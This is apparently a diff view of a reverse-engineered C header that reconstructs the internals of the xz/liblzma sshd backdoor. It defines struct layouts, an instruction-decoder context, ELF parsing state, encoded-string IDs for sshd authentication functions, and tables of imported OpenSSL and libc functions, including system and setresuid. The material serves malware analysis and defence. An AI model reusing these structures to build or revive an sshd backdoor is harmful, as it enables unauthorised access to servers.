1098 assert_offset(imported_funcs_t, EVP_DecryptUpdate, 0xB0);
-
1099 assert_offset(imported_funcs_t, EVP_DecryptFinal_ex, 0xB8);
-
1100 assert_offset(imported_funcs_t, EVP_CIPHER_CTX_free, 0xC0);
-
1101 assert_offset(imported_funcs_t, EVP_chacha20, 0xC8);
-
1102 assert_offset(imported_funcs_t, RSA_new, 0xD0);
-
1103 assert_offset(imported_funcs_t, BN_dup, 0xD8);
-
1104 assert_offset(imported_funcs_t, BN_bin2bn, 0xE0);
-
1105 assert_offset(imported_funcs_t, RSA_set0_key, 0xE8);
-
1106 assert_offset(imported_funcs_t, EVP_Digest, 0xF0);
-
1107 assert_offset(imported_funcs_t, RSA_sign, 0xF8);
-
1108 assert_offset(imported_funcs_t, BN_bn2bin, 0x100);
-
1109 assert_offset(imported_funcs_t, RSA_free, 0x108);
-
1110 assert_offset(imported_funcs_t, BN_free, 0x110);
-
1111 assert_offset(imported_funcs_t, libc, 0x118);
-
1112 assert_offset(imported_funcs_t, resolved_imports_count, 0x120);
-
1113 static_assert(sizeof(imported_funcs_t) == 0x128);
-
1114 
-
1115 struct ssh;
-
1116 struct sshbuf;
-
1117 
-
1118 typedef int (*sshd_monitor_func_t)(struct ssh *ssh, int sock, struct sshbuf *m);
+
325 typedef int BOOL;
+
326 
+
327 #define TRUE 1
+
328 #define FALSE 0
+
329 
+
330 typedef enum {
+
331  // has lock or rep prefix
+
332  DF1_LOCK_REP = 1,
+
333  //1 has segment override
+
334  DF1_SEG = 2,
+
335  //1 has operand size override
+
336  DF1_OSIZE = 4,
+
337  //1 has address size override
+
338  DF1_ASIZE = 8,
+
339  //1 vex instruction
+
340  DF1_VEX = 0x10,
+
341  //1 has rex
+
342  DF1_REX = 0x20,
+
343  //1 has modrm
+
344  DF1_MODRM = 0x40,
+
345  //1 has sib
+
346  DF1_SIB = 0x80
+
347 } InstructionFlags;
+
348 
+
349 typedef enum {
+
350  // memory with displacement
+
351  DF2_MEM_DISP = 0x1,
+
352  //2 8-bit displacement
+
353  DF2_MEM_DISP8 = 0x2,
+
354  //2 memory seg+offs (0xa0-0xa3)
+
355  DF2_MEM_SEG_OFFS = 0x4,
+
356 
+
357  // mask to check for memory flags
+
358  DF2_FLAGS_MEM = DF2_MEM_DISP | DF2_MEM_DISP8 | DF2_MEM_SEG_OFFS,
+
359 
+
360  //2 has immediate
+
361  DF2_IMM = 0x8,
+
362  //2 64-bit immediate (movabs)
+
363  DF2_IMM64 = 0x10
+
364 } InstructionFlags2;
+
365 
+
366 typedef enum {
+
367  // ELF has JMPREL relocs
+
368  X_ELF_PLTREL = 0x1,
+
369  // ELF has RELA relocs
+
370  X_ELF_RELA = 0x2,
+
371  // ELF has RELR relocs
+
372  X_ELF_RELR = 0x4,
+
373  // ELF has DT_VERDEF
+
374  X_ELF_VERDEF = 0x8,
+
375  // ELF has DT_VERSYM
+
376  X_ELF_VERSYM = 0x10,
+
377  // ELF has DF_1_NOW
+
378  X_ELF_NOW = 0x20
+
379 } ElfFlags;
+
380 
+
381 typedef enum {
+
382  // register-indirect addressing or no displacement
+
383  MRM_I_REG, // 00
+
384  // indirect with one byte displacement
+
385  MRM_I_DISP1, // 01
+
386  // indirect with four byte displacement
+
387  MRM_I_DISP4, // 10
+
388  // direct-register addressing
+
389  MRM_D_REG // 11
+
390 } ModRm_Mod;
+
391 
+
392 typedef enum {
+
393  // find function beginning by looking for endbr64
+
394  FIND_ENDBR64,
+
395  // find function beginning by looking for padding,
+
396  // then getting the instruction after it
+
397  FIND_NOP
+
398 } FuncFindType;
+
399 
+
400 typedef enum {
+ +
406  X_ELF_DYNAMIC_LINKER = 1,
+
407  X_ELF_LIBC = 2,
+
408  X_ELF_LIBCRYPTO = 3
+
409 } ElfId;
+
410 
+
411 typedef enum {
+
412  XREF_xcalloc_zero_size = 0,
+
413  XREF_Could_not_chdir_to_home_directory_s_s = 1,
+
414  XREF_list_hostkey_types = 2,
+
415  XREF_demote_sensitive_data = 3,
+
416  XREF_mm_terminate = 4,
+
417  XREF_mm_pty_allocate = 5,
+
418  XREF_mm_do_pam_account = 6,
+
419  XREF_mm_session_pty_cleanup2 = 7,
+
420  XREF_mm_getpwnamallow = 8,
+
421  XREF_mm_sshpam_init_ctx = 9,
+
422  XREF_mm_sshpam_query = 10,
+
423  XREF_mm_sshpam_respond = 11,
+
424  XREF_mm_sshpam_free_ctx = 12,
+
425  XREF_mm_choose_dh = 13,
+
426  XREF_sshpam_respond = 14,
+
427  XREF_sshpam_auth_passwd = 15,
+
428  XREF_sshpam_query = 16,
+
429  XREF_start_pam = 17,
+
430  XREF_mm_request_send = 18,
+
431  XREF_mm_log_handler = 19,
+
432  XREF_Could_not_get_agent_socket = 20,
+
433  XREF_auth_root_allowed = 21,
+
434  XREF_mm_answer_authpassword = 22,
+
435  XREF_mm_answer_keyallowed = 23,
+
436  XREF_mm_answer_keyverify = 24,
+
437  XREF_48s_48s_d_pid_ld_ = 25,
+
438  XREF_Unrecognized_internal_syslog_level_code_d = 26
+
439 } StringXrefId;
+
440 
+
441 typedef enum {
+
442  STR_from = 0x810,
+
443  STR_ssh2 = 0x678,
+
444  STR_48s_48s_d_pid_ld_ = 0xd8,
+
445  STR_s = 0x708,
+
446  STR_usr_sbin_sshd = 0x108,
+
447  STR_Accepted_password_for = 0x870,
+
448  STR_Accepted_publickey_for = 0x1a0,
+
449  STR_BN_bin2bn = 0xc40,
+
450  STR_BN_bn2bin = 0x6d0,
+
451  STR_BN_dup = 0x958,
+
452  STR_BN_free = 0x418,
+
453  STR_BN_num_bits = 0x4e0,
+
454  STR_Connection_closed_by = 0x790,
+
455  STR_Could_not_chdir_to_home_directory_s_s = 0x18,
+
456  STR_Could_not_get_agent_socket = 0xb0,
+
457  STR_DISPLAY = 0x960,
+
458  STR_DSA_get0_pqg = 0x9d0,
+
459  STR_DSA_get0_pub_key = 0x468,
+
460  STR_EC_KEY_get0_group = 0x7e8,
+
461  STR_EC_KEY_get0_public_key = 0x268,
+
462  STR_EC_POINT_point2oct = 0x6e0,
+
463  STR_EVP_CIPHER_CTX_free = 0xb28,
+
464  STR_EVP_CIPHER_CTX_new = 0x838,
+
465  STR_EVP_DecryptFinal_ex = 0x2a8,
+
466  STR_EVP_DecryptInit_ex = 0xc08,
+
467  STR_EVP_DecryptUpdate = 0x3f0,
+
468  STR_EVP_Digest = 0xf8,
+
469  STR_EVP_DigestVerify = 0x408,
+
470  STR_EVP_DigestVerifyInit = 0x118,
+
471  STR_EVP_MD_CTX_free = 0xd10,
+
472  STR_EVP_MD_CTX_new = 0xaf8,
+
473  STR_EVP_PKEY_free = 0x6f8,
+
474  STR_EVP_PKEY_new_raw_public_key = 0x758,
+
475  STR_EVP_PKEY_set1_RSA = 0x510,
+
476  STR_EVP_chacha20 = 0xc28,
+
477  STR_EVP_sha256 = 0xc60,
+
478  STR_EVP_sm = 0x188,
+
479  STR_GLIBC_2_2_5 = 0x8c0,
+
480  STR_GLRO_dl_naudit_naudit = 0x6a8,
+
481  STR_KRB5CCNAME = 0x1e0,
+
482  STR_LD_AUDIT = 0xcf0,
+
483  STR_LD_BIND_NOT = 0xbc0,
+
484  STR_LD_DEBUG = 0xa90,
+
485  STR_LD_PROFILE = 0xb98,
+
486  STR_LD_USE_LOAD_BIAS = 0x3e0,
+
487  STR_LINES = 0xa88,
+
488  STR_RSA_free = 0xac0,
+
489  STR_RSA_get0_key = 0x798,
+
490  STR_RSA_new = 0x918,
+
491  STR_RSA_public_decrypt = 0x1d0,
+
492  STR_RSA_set0_key = 0x540,
+
493  STR_RSA_sign = 0x8f8,
+
494  STR_SSH_2_0 = 0x990,
+
495  STR_TERM = 0x4a8,
+
496  STR_Unrecognized_internal_syslog_level_code_d = 0xe0,
+
497  STR_WAYLAND_DISPLAY = 0x158,
+
498  STR_errno_location = 0x878,
+
499  STR_libc_stack_end = 0x2b0,
+
500  STR_libc_start_main = 0x228,
+
501  STR_dl_audit_preinit = 0xa60,
+
502  STR_dl_audit_symbind_alt = 0x9c8,
+
503  STR_exit = 0x8a8,
+
504  STR_r_debug = 0x5b0,
+
505  STR_rtld_global = 0x5b8,
+
506  STR_rtld_global_ro = 0xa98,
+
507  STR_auth_root_allowed = 0xb8,
+
508  STR_authenticating = 0x1d8,
+
509  STR_demote_sensitive_data = 0x28,
+
510  STR_getuid = 0x348,
+
511  STR_ld_linux_x86_64_so = 0xa48,
+
512  STR_libc_so = 0x7d0,
+
513  STR_libcrypto_so = 0x7c0,
+
514  STR_liblzma_so = 0x590,
+
515  STR_libsystemd_so = 0x938,
+
516  STR_list_hostkey_types = 0x20,
+
517  STR_malloc_usable_size = 0x440,
+
518  STR_mm_answer_authpassword = 0xc0,
+
519  STR_mm_answer_keyallowed = 0xc8,
+
520  STR_mm_answer_keyverify = 0xd0,
+
521  STR_mm_answer_pam_start = 0x948,
+
522  STR_mm_choose_dh = 0x78,
+
523  STR_mm_do_pam_account = 0x40,
+
524  STR_mm_getpwnamallow = 0x50,
+
525  STR_mm_log_handler = 0xa8,
+
526  STR_mm_pty_allocate = 0x38,
+
527  STR_mm_request_send = 0xa0,
+
528  STR_mm_session_pty_cleanup2 = 0x48,
+
529  STR_mm_sshpam_free_ctx = 0x70,
+
530  STR_mm_sshpam_init_ctx = 0x58,
+
531  STR_mm_sshpam_query = 0x60,
+
532  STR_mm_sshpam_respond = 0x68,
+
533  STR_mm_terminate = 0x30,
+
534  STR_parse_PAM = 0xc58,
+
535  STR_password = 0x400,
+
536  STR_preauth = 0x4f0,
+
537  STR_pselect = 0x690,
+
538  STR_publickey = 0x7b8,
+
539  STR_read = 0x308,
+
540  STR_rsa_sha2_256 = 0x710,
+
541  STR_setlogmask = 0x428,
+
542  STR_setresgid = 0x5f0,
+
543  STR_setresuid = 0xab8,
+
544  STR_shutdown = 0x760,
+
545  STR_ssh_2_0 = 0xd08,
+
546  STR_ssh_rsa_cert_v01_openssh_com = 0x2c8,
+
547  STR_sshpam_auth_passwd = 0x88,
+
548  STR_sshpam_query = 0x90,
+
549  STR_sshpam_respond = 0x80,
+
550  STR_start_pam = 0x98,
+
551  STR_system = 0x9f8,
+
552  STR_unknown = 0x198,
+
553  STR_user = 0xb10,
+
554  STR_write = 0x380,
+
555  STR_xcalloc_zero_size = 0x10,
+
556  STR_yolAbejyiejuvnupEvjtgvsh5okmkAvj = 0xb00,
+
557  STR_ELF = 0x300,
+
558 } EncodedStringId;
+
559 
+
560 #ifndef XZRE_SLIM
+
561 #define assert_offset(t, f, o) static_assert(offsetof(t, f) == o)
+
562 #else
+
563 #define assert_offset(t, f, o)
+
564 #endif
+
565 
+
566 #define CONCAT(x, y) x ## y
+
567 #define EXPAND(x, y) CONCAT(x, y)
+
568 #define PADDING(size) u8 EXPAND(_unknown, __LINE__)[size]
+
569 
+
570 struct sshbuf;
+
571 struct kex;
+
572 
+
573 /* permit_root_login */
+
574 #define PERMIT_NOT_SET -1
+
575 #define PERMIT_NO 0
+
576 #define PERMIT_FORCED_ONLY 1
+
577 #define PERMIT_NO_PASSWD 2
+
578 #define PERMIT_YES 3
+
579 
+
583 struct monitor {
+
584  int m_recvfd;
+
585  int m_sendfd;
+
586  int m_log_recvfd;
+
587  int m_log_sendfd;
+
588  struct kex **m_pkex;
+
589  pid_t m_pid;
+
590 };
+
591 
+ +
596  struct sshkey **host_keys; /* all private host keys */
+
597  struct sshkey **host_pubkeys; /* all public host keys */
+
598  struct sshkey **host_certificates; /* all public host certificates */
+
599  int have_ssh2_key;
+
600 };
+
601 
+
606 struct sshkey {
+
607  int type;
+
608  int flags;
+
609  /* KEY_RSA */
+
610  RSA *rsa;
+
611  /* KEY_DSA */
+
612  DSA *dsa;
+
613  /* KEY_ECDSA and KEY_ECDSA_SK */
+
614  int ecdsa_nid; /* NID of curve */
+
615  EC_KEY *ecdsa;
+
616  /* KEY_ED25519 and KEY_ED25519_SK */
+
617  u8 *ed25519_sk;
+
618  u8 *ed25519_pk;
+
619  /* KEY_XMSS */
+
620  char *xmss_name;
+
621  char *xmss_filename; /* for state file updates */
+
622  void *xmss_state; /* depends on xmss_name, opaque */
+
623  u8 *xmss_sk;
+
624  u8 *xmss_pk;
+
625  /* KEY_ECDSA_SK and KEY_ED25519_SK */
+
626  char sk_application;
+
627  u8 sk_flags;
+
628  struct sshbuf *sk_key_handle;
+
629  struct sshbuf *sk_reserved;
+
630  /* Certificates */
+
631  struct sshkey_cert *cert;
+
632  /* Private key shielding */
+
633  u8 *shielded_private;
+
634  size_t shielded_len;
+
635  u8 *shield_prekey;
+
636  size_t shield_prekey_len;
+
637 };
+
638 
+
639 typedef struct __attribute__((packed)) got_ctx {
+
643  void *got_ptr;
+ +
654  void *cpuid_fn;
+
659  ptrdiff_t got_offset;
+
660 } got_ctx_t;
+
661 
+
662 assert_offset(got_ctx_t, got_ptr, 0);
+
663 assert_offset(got_ctx_t, return_address, 0x8);
+
664 assert_offset(got_ctx_t, cpuid_fn, 0x10);
+
665 assert_offset(got_ctx_t, got_offset, 0x18);
+
666 static_assert(sizeof(got_ctx_t) == 0x20);
+
667 
+
668 typedef struct __attribute__((packed)) elf_entry_ctx {
+
673  void *symbol_ptr;
+ + + +
680 
+
681 assert_offset(elf_entry_ctx_t, symbol_ptr, 0);
+
682 assert_offset(elf_entry_ctx_t, got_ctx, 0x8);
+
683 assert_offset(elf_entry_ctx_t, frame_address, 0x28);
+
684 
+
688 #define X86_MODRM_BYTE(mod, reg, rm) \
+
689  ((u8)(0 \
+
690  | (u8)(((mod) & 3) << 6) \
+
691  | (u8)(((reg) & 7) << 3) \
+
692  | (u8)(((rm) & 7)) \
+
693  ))
+
694 
+
695 #define X86_REX_BYTE(w,r,x,b) \
+
696  ((u8)(0x40 \
+
697  | (u8)(((w) & 1) << 3) \
+
698  | (u8)(((r) & 1) << 2) \
+
699  | (u8)(((x) & 1) << 1) \
+
700  | (u8)(((b) & 1) << 0) \
+
701  ))
+
702 
+
703 #define X86_REX_W X86_REX_BYTE(1,0,0,0)
+
704 
+
708 #define XZDASM_MODRM_MAKE(mod, reg, rm) \
+
709  ((u32)(0 \
+
710  | (u32)(((rm) & 0xFF)<< 24) \
+
711  | (u32)(((reg) & 0xFF) << 16) \
+
712  | (u32)(((mod) & 0xFF) << 8) \
+
713  | X86_MODRM_BYTE(mod, reg, rm) \
+
714  ))
+
715 
+
716 enum dasm_modrm_mask {
+
717  XZ_MODRM_RM = 0xFF000000,
+
718  XZ_MODRM_REG = 0x00FF0000,
+
719  XZ_MODRM_MOD = 0x0000FF00,
+
720  XZ_MODRM_RAW = 0x000000FF
+
721 };
+
722 
+
723 typedef struct __attribute__((packed)) dasm_ctx {
+
724  u8* instruction;
+
725  u64 instruction_size;
+
726  union {
+
727  struct __attribute__((packed)) {
+
731  u8 flags;
+
735  u8 flags2;
+
736  PADDING(2);
+
737  u8 lock_rep_byte;
+
738  u8 seg_byte;
+
739  u8 osize_byte;
+
740  u8 asize_byte;
+
741  u8 vex_byte;
+
742  u8 vex_byte2;
+
743  u8 vex_byte3;
+
744  union {
+
745  struct __attribute__((packed)) {
+
746  u8 B : 1;
+
747  u8 X : 1;
+
748  u8 R : 1;
+
749  u8 W : 1;
+
750  u8 BitPattern : 4; // always 0100b
+
751  };
+
752  u8 rex_byte;
+
753  };
+
754  union {
+
755  // in little endian order
+
756  struct __attribute__((packed)) {
+
757  /* 3 */ u8 modrm;
+
758  /* 2 */ u8 modrm_mod;
+
759  /* 1 */ u8 modrm_reg;
+
760  /* 0 */ u8 modrm_rm;
+
761  };
+
762  u32 modrm_word;
+
763  };
+
764  };
+
765  u16 flags_u16;
+
766  };
+
767  u8 imm64_reg; // low 3 bits only
+
768  struct __attribute__((packed)) {
+
769  union {
+
770  struct __attribute__((packed)) {
+
771  u8 sib;
+
772  u8 sib_scale;
+
773  u8 sib_index;
+
774  u8 sib_base;
+
775  };
+
776  u32 sib_word;
+
777  };
+
778  };
+
779  PADDING(3);
+
780  u32 opcode;
+
781  PADDING(4);
+
782  u64 mem_disp;
+
783  // e.g. in CALL
+
784  u64 operand;
+
785  u64 operand_zeroextended;
+
786  u64 operand_size;
+
787  u8 insn_offset;
+
788  PADDING(7);
+
789 } dasm_ctx_t;
+
790 
+
791 assert_offset(dasm_ctx_t, instruction, 0);
+
792 assert_offset(dasm_ctx_t, instruction_size, 8);
+
793 assert_offset(dasm_ctx_t, flags, 0x10);
+
794 assert_offset(dasm_ctx_t, flags2, 0x11);
+
795 assert_offset(dasm_ctx_t, lock_rep_byte, 0x14);
+
796 assert_offset(dasm_ctx_t, seg_byte, 0x15);
+
797 assert_offset(dasm_ctx_t, osize_byte, 0x16);
+
798 assert_offset(dasm_ctx_t, asize_byte, 0x17);
+
799 assert_offset(dasm_ctx_t, vex_byte, 0x18);
+
800 assert_offset(dasm_ctx_t, vex_byte2, 0x19);
+
801 assert_offset(dasm_ctx_t, vex_byte3, 0x1A);
+
802 assert_offset(dasm_ctx_t, rex_byte, 0x1B);
+
803 assert_offset(dasm_ctx_t, modrm, 0x1C);
+
804 assert_offset(dasm_ctx_t, modrm_mod, 0x1D);
+
805 assert_offset(dasm_ctx_t, modrm_reg, 0x1E);
+
806 assert_offset(dasm_ctx_t, modrm_rm, 0x1F);
+
807 assert_offset(dasm_ctx_t, imm64_reg, 0x20);
+
808 assert_offset(dasm_ctx_t, sib, 0x21);
+
809 assert_offset(dasm_ctx_t, sib_scale, 0x22);
+
810 assert_offset(dasm_ctx_t, sib_index, 0x23);
+
811 assert_offset(dasm_ctx_t, sib_base, 0x24);
+
812 assert_offset(dasm_ctx_t, opcode, 0x28);
+
813 assert_offset(dasm_ctx_t, mem_disp, 0x30);
+
814 assert_offset(dasm_ctx_t, operand, 0x38);
+
815 assert_offset(dasm_ctx_t, operand_zeroextended, 0x40);
+
816 assert_offset(dasm_ctx_t, operand_size, 0x48);
+
817 assert_offset(dasm_ctx_t, insn_offset, 0x50);
+
818 static_assert(sizeof(dasm_ctx_t) == 0x58);
+
819 
+
820 typedef struct __attribute__((packed)) elf_info {
+
824  Elf64_Ehdr *elfbase;
+ +
832  Elf64_Phdr *phdrs;
+
836  u64 e_phnum;
+
840  Elf64_Dyn *dyn;
+ +
848  char *strtab;
+
852  Elf64_Sym *symtab;
+
856  Elf64_Rela *plt_relocs;
+ + + + +
878  Elf64_Verdef *verdef;
+ +
883  Elf64_Versym *versym;
+
884  Elf64_Rela *rela_relocs;
+
885  u32 rela_relocs_num;
+
886  u32 _unused0;
+
887  Elf64_Relr *relr_relocs;
+
888  u32 relr_relocs_num;
+
889  PADDING(4);
+ + +
900 
+
901  u64 rodata_segment_start;
+
902  u64 rodata_segment_size;
+
903  u64 data_segment_start;
+
904  u64 data_segment_size;
+
905  u64 data_segment_alignment;
+
906 
+
907  u8 flags;
+
908  PADDING(7);
+ + +
917  u32 gnu_hash_bloom_shift;
+
918  PADDING(4);
+
919  u64 *gnu_hash_bloom;
+
920  u32 *gnu_hash_buckets;
+
921  u32 *gnu_hash_chain;
+
922 } elf_info_t;
+
923 
+
924 assert_offset(elf_info_t, elfbase, 0x0);
+
925 assert_offset(elf_info_t, first_vaddr, 0x8);
+
926 assert_offset(elf_info_t, phdrs, 0x10);
+
927 assert_offset(elf_info_t, e_phnum, 0x18);
+
928 assert_offset(elf_info_t, dyn, 0x20);
+
929 assert_offset(elf_info_t, dyn_num_entries, 0x28);
+
930 assert_offset(elf_info_t, strtab, 0x30);
+
931 assert_offset(elf_info_t, symtab, 0x38);
+
932 assert_offset(elf_info_t, plt_relocs, 0x40);
+
933 assert_offset(elf_info_t, plt_relocs_num, 0x48);
+
934 assert_offset(elf_info_t, gnurelro_found, 0x4C);
+
935 assert_offset(elf_info_t, gnurelro_vaddr, 0x50);
+
936 assert_offset(elf_info_t, gnurelro_memsize, 0x58);
+
937 assert_offset(elf_info_t, verdef, 0x60);
+
938 assert_offset(elf_info_t, verdef_num, 0x68);
+
939 assert_offset(elf_info_t, versym, 0x70);
+
940 assert_offset(elf_info_t, rela_relocs, 0x78);
+
941 assert_offset(elf_info_t, rela_relocs_num, 0x80);
+
942 assert_offset(elf_info_t, relr_relocs, 0x88);
+
943 assert_offset(elf_info_t, relr_relocs_num, 0x90);
+
944 assert_offset(elf_info_t, code_segment_start, 0x98);
+
945 assert_offset(elf_info_t, code_segment_size, 0xA0);
+
946 assert_offset(elf_info_t, rodata_segment_start, 0xA8);
+
947 assert_offset(elf_info_t, rodata_segment_size, 0xB0);
+
948 assert_offset(elf_info_t, data_segment_start, 0xB8);
+
949 assert_offset(elf_info_t, data_segment_size, 0xC0);
+
950 assert_offset(elf_info_t, data_segment_alignment, 0xC8);
+
951 assert_offset(elf_info_t, flags, 0xD0);
+
952 assert_offset(elf_info_t, gnu_hash_nbuckets, 0xd8);
+
953 assert_offset(elf_info_t, gnu_hash_last_bloom, 0xdc);
+
954 assert_offset(elf_info_t, gnu_hash_bloom_shift, 0xe0);
+
955 assert_offset(elf_info_t, gnu_hash_bloom, 0xe8);
+
956 assert_offset(elf_info_t, gnu_hash_buckets, 0xf0);
+
957 assert_offset(elf_info_t, gnu_hash_chain, 0xf8);
+
958 static_assert(sizeof(elf_info_t) == 0x100);
+
959 
+
960 typedef struct __attribute__((packed)) libc_imports {
+
961  u32 resolved_imports_count;
+
962  PADDING(4);
+
963  size_t (*malloc_usable_size)(void *ptr);
+
964  uid_t (*getuid)(void);
+
965  void (*exit)(int status);
+
966  int (*setresgid)(gid_t rgid, gid_t egid, gid_t sgid);
+
967  int (*setresuid)(uid_t ruid, uid_t euid, uid_t suid);
+
968  int (*system)(const char *command);
+
969  ssize_t (*write)(int fd, const void *buf, size_t count);
+
970  int (*pselect)(
+
971  int nfds, fd_set *readfds, fd_set *writefds,
+
972  fd_set *exceptfds, const struct timespec *timeout,
+
973  const sigset_t *sigmask);
+
974  ssize_t (*read)(int fd, void *buf, size_t count);
+
975  int *(*__errno_location)(void);
+
976  int (*setlogmask)(int mask);
+
977  int (*shutdown)(int sockfd, int how);
+
978  void *__libc_stack_end;
+ +
980 
+
981 assert_offset(libc_imports_t, resolved_imports_count, 0);
+
982 assert_offset(libc_imports_t, malloc_usable_size, 8);
+
983 assert_offset(libc_imports_t, getuid, 0x10);
+
984 assert_offset(libc_imports_t, exit, 0x18);
+
985 assert_offset(libc_imports_t, setresgid, 0x20);
+
986 assert_offset(libc_imports_t, setresuid, 0x28);
+
987 assert_offset(libc_imports_t, system, 0x30);
+
988 assert_offset(libc_imports_t, write, 0x38);
+
989 assert_offset(libc_imports_t, pselect, 0x40);
+
990 assert_offset(libc_imports_t, read, 0x48);
+
991 assert_offset(libc_imports_t, __errno_location, 0x50);
+
992 assert_offset(libc_imports_t, setlogmask, 0x58);
+
993 assert_offset(libc_imports_t, shutdown, 0x60);
+
994 assert_offset(libc_imports_t, __libc_stack_end, 0x68);
+
995 static_assert(sizeof(libc_imports_t) == 0x70);
+
996 
+
997 typedef int (*pfn_RSA_public_decrypt_t)(
+
998  int flen, unsigned char *from, unsigned char *to,
+
999  RSA *rsa, int padding);
+
1000 typedef int (*pfn_EVP_PKEY_set1_RSA_t)(EVP_PKEY *pkey, struct rsa_st *key);
+
1001 typedef void (*pfn_RSA_get0_key_t)(
+
1002  const RSA *r,
+
1003  const BIGNUM **n, const BIGNUM **e, const BIGNUM **d);
+
1004 
+
1005 typedef struct __attribute__((packed)) imported_funcs {
+
1006  pfn_RSA_public_decrypt_t RSA_public_decrypt;
+
1007  pfn_EVP_PKEY_set1_RSA_t EVP_PKEY_set1_RSA;
+
1008  // ???
+
1009  void (*RSA_get0_key_null)(
+
1010  const RSA *r, const BIGNUM **n,
+
1011  const BIGNUM **e, const BIGNUM **d);
+ + + +
1027  void (*DSA_get0_pqg)(
+
1028  const DSA *d, const BIGNUM **p,
+
1029  const BIGNUM **q, const BIGNUM **g);
+
1030  const BIGNUM *(*DSA_get0_pub_key)(const DSA *d);
+
1031  size_t (*EC_POINT_point2oct)(
+
1032  const EC_GROUP *group, const EC_POINT *p,
+
1033  point_conversion_form_t form, unsigned char *buf,
+
1034  size_t len, BN_CTX *ctx);
+
1035  EC_POINT *(*EC_KEY_get0_public_key)(const EC_KEY *key);
+
1036  const EC_GROUP *(*EC_KEY_get0_group)(const EC_KEY *key);
+
1037  EVP_MD *(*EVP_sha256)(void);
+
1038  pfn_RSA_get0_key_t RSA_get0_key;
+
1039  int (*BN_num_bits)(const BIGNUM *a);
+
1040  EVP_PKEY *(*EVP_PKEY_new_raw_public_key)(
+
1041  int type, ENGINE *e,
+
1042  const unsigned char *key, size_t keylen);
+
1043  EVP_MD_CTX *(*EVP_MD_CTX_new)(void);
+
1044  int (*EVP_DigestVerifyInit)(
+
1045  EVP_MD_CTX *ctx, EVP_PKEY_CTX **pctx,
+
1046  const EVP_MD *type, ENGINE *e, EVP_PKEY *pkey);
+
1047  int (*EVP_DigestVerify)(
+
1048  EVP_MD_CTX *ctx, const unsigned char *sig,
+
1049  size_t siglen, const unsigned char *tbs, size_t tbslen);
+
1050  void (*EVP_MD_CTX_free)(EVP_MD_CTX *ctx);
+
1051  void (*EVP_PKEY_free)(EVP_PKEY *key);
+
1052  EVP_CIPHER_CTX *(*EVP_CIPHER_CTX_new)(void);
+
1053  int (*EVP_DecryptInit_ex)(
+
1054  EVP_CIPHER_CTX *ctx, const EVP_CIPHER *type,
+
1055  ENGINE *impl, const unsigned char *key, const unsigned char *iv);
+
1056  int (*EVP_DecryptUpdate)(
+
1057  EVP_CIPHER_CTX *ctx, unsigned char *out,
+
1058  int *outl, const unsigned char *in, int inl);
+
1059  int (*EVP_DecryptFinal_ex)(EVP_CIPHER_CTX *ctx, unsigned char *outm, int *outl);
+
1060  void (*EVP_CIPHER_CTX_free)(EVP_CIPHER_CTX *ctx);
+
1061  const EVP_CIPHER *(*EVP_chacha20)(void);
+
1062  RSA *(*RSA_new)(void);
+
1063  BIGNUM *(*BN_dup)(const BIGNUM *from);
+
1064  BIGNUM *(*BN_bin2bn)(const unsigned char *s, int len, BIGNUM *ret);
+
1065  int (*RSA_set0_key)(RSA *r, BIGNUM *n, BIGNUM *e, BIGNUM *d);
+
1066  int (*EVP_Digest)(
+
1067  const void *data, size_t count, unsigned char *md,
+
1068  unsigned int *size, const EVP_MD *type, ENGINE *impl);
+
1069  int (*RSA_sign)(
+
1070  int type,
+
1071  const unsigned char *m, unsigned int m_len,
+
1072  unsigned char *sigret, unsigned int *siglen, RSA *rsa);
+
1073  int (*BN_bn2bin)(const BIGNUM *a, unsigned char *to);
+
1074  void (*RSA_free)(RSA *rsa);
+
1075  void (*BN_free)(BIGNUM *a);
+
1076  libc_imports_t *libc;
+
1077  u32 resolved_imports_count;
+
1078  PADDING(4);
+ +
1080 
+
1081 assert_offset(imported_funcs_t, RSA_public_decrypt, 0);
+
1082 assert_offset(imported_funcs_t, EVP_PKEY_set1_RSA, 8);
+
1083 assert_offset(imported_funcs_t, RSA_get0_key_null, 0x10);
+
1084 assert_offset(imported_funcs_t, RSA_public_decrypt_plt, 0x18);
+
1085 assert_offset(imported_funcs_t, EVP_PKEY_set1_RSA_plt, 0x20);
+
1086 assert_offset(imported_funcs_t, RSA_get0_key_plt, 0x28);
+
1087 assert_offset(imported_funcs_t, DSA_get0_pqg, 0x30);
+
1088 assert_offset(imported_funcs_t, DSA_get0_pub_key, 0x38);
+
1089 assert_offset(imported_funcs_t, EC_POINT_point2oct, 0x40);
+
1090 assert_offset(imported_funcs_t, EC_KEY_get0_public_key, 0x48);
+
1091 assert_offset(imported_funcs_t, EC_KEY_get0_group, 0x50);
+
1092 assert_offset(imported_funcs_t, EVP_sha256, 0x58);
+
1093 assert_offset(imported_funcs_t, RSA_get0_key, 0x60);
+
1094 assert_offset(imported_funcs_t, BN_num_bits, 0x68);
+
1095 assert_offset(imported_funcs_t, EVP_PKEY_new_raw_public_key, 0x70);
+
1096 assert_offset(imported_funcs_t, EVP_MD_CTX_new, 0x78);
+
1097 assert_offset(imported_funcs_t, EVP_DigestVerifyInit, 0x80);
+
1098 assert_offset(imported_funcs_t, EVP_DigestVerify, 0x88);
+
1099 assert_offset(imported_funcs_t, EVP_MD_CTX_free, 0x90);
+
1100 assert_offset(imported_funcs_t, EVP_PKEY_free, 0x98);
+
1101 assert_offset(imported_funcs_t, EVP_CIPHER_CTX_new, 0xA0);
+
1102 assert_offset(imported_funcs_t, EVP_DecryptInit_ex, 0xA8);
+
1103 assert_offset(imported_funcs_t, EVP_DecryptUpdate, 0xB0);
+
1104 assert_offset(imported_funcs_t, EVP_DecryptFinal_ex, 0xB8);
+
1105 assert_offset(imported_funcs_t, EVP_CIPHER_CTX_free, 0xC0);
+
1106 assert_offset(imported_funcs_t, EVP_chacha20, 0xC8);
+
1107 assert_offset(imported_funcs_t, RSA_new, 0xD0);
+
1108 assert_offset(imported_funcs_t, BN_dup, 0xD8);
+
1109 assert_offset(imported_funcs_t, BN_bin2bn, 0xE0);
+
1110 assert_offset(imported_funcs_t, RSA_set0_key, 0xE8);
+
1111 assert_offset(imported_funcs_t, EVP_Digest, 0xF0);
+
1112 assert_offset(imported_funcs_t, RSA_sign, 0xF8);
+
1113 assert_offset(imported_funcs_t, BN_bn2bin, 0x100);
+
1114 assert_offset(imported_funcs_t, RSA_free, 0x108);
+
1115 assert_offset(imported_funcs_t, BN_free, 0x110);
+
1116 assert_offset(imported_funcs_t, libc, 0x118);
+
1117 assert_offset(imported_funcs_t, resolved_imports_count, 0x120);
+
1118 static_assert(sizeof(imported_funcs_t) == 0x128);
1119 
-
1120 typedef struct __attribute__((packed)) sshd_ctx {
-
1121  BOOL have_mm_answer_keyallowed;
-
